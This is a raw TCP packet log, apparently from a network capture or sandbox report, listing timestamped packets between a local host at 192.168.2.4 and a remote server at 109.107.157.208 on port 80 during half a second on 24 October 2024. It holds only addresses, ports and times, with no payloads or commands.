Oct 24, 2024 13:27:07.112232924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112257004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112271070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112292051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112309933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112344980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112843037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112903118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112921000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112940073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112956047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112976074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112994909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113010883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113023996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113045931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113059044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113080025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113092899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113116026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113133907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113151073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113167048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113184929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113200903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113220930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113240004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113255978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113269091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113291025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113310099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113326073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113338947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113346100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113362074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113384008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113384008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113403082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113821030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113846064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113862991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113878965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113888979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113895893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113907099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113914013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113929987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113946915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113946915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113966942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113967896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.113982916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.113998890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114012957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114012957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114015102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114031076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114042997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114048958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114063025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114065886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114082098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114085913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114108086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114135981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114649057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114665985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114681959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114697933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114706039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114707947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114707947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114722013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114732027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114737988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114753962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114762068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114769936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114778996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114787102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114801884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114818096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114818096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114833117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114845991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114850044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114865065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114866018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114881039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114882946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.114897966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114916086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.114933968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115432978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115449905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115467072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115482092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115489960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115497112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115506887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115514040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115529060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115545988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115546942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115547895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115561962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115571022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115577936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115588903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115592003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115603924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115607977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115623951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115624905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115639925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115642071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115654945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115658998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115672112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115675926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115688086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115693092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115704060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115710974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115720987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115727901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115736961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115745068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.115752935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115772009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.115813971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.116202116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.116223097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.116236925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.116252899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.116286993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.116286993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.167260885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.167305946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.167376041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.167413950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.167452097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.167475939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.167475939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.167476892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.167476892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.167570114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.223999977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224072933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224129915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224164009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224199057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224234104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224260092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224261045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224261045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224261045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224261045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224287987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224323034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224339008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224339008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224358082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224360943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224389076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224420071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224437952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224442959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224478006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224505901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224508047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224540949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224546909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224546909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224575996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224598885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224620104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224627972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224663019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224699020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224745035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224777937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224812031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224869967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224904060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224915028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224915981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.224936962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.224971056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225001097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225003004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225003004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225030899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225034952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225052118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225068092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225085020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225121021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225142956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225157976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225188971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225192070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225208044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225227118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225248098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225260019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225271940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225310087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225317955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225348949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225368023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225383043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225399017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225416899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225439072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225452900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225461006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225486994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225503922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225521088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225542068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225557089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225564003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225593090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225606918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225630999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225644112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225660086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225682020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225697041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225708008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225729942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225749016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225765944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225790977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225799084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225809097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225836039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.225846052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225888968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.225995064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226028919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226047039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226062059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226083040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226095915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226104975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226130962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226145029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226165056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226185083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226200104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226218939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226233959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226242065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226284981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226320028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226353884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226372957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226388931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.226396084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.226442099 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.282592058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.288655043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.522856951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.522917986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.522955894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.522989988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523025990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523078918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523078918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523078918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523078918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523080111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523122072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523159981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523169994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523195028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523216963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523236036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523238897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523262024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523277998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523292065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523302078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523302078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523308039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523324013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523340940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523376942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523376942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523377895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523435116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523448944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523463011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523479939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523494005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523510933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523646116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523646116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523647070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523647070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523647070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.523806095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523844004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523861885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523880005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523896933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523915052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523972034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.523987055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524003029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524019003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524014950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524014950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524014950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524015903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524015903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524015903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524015903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524035931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524054050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.524106026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524106026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524106026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524106026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524106979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.524117947 CEST	80	49730	109.107.157.208	192.168.2.4
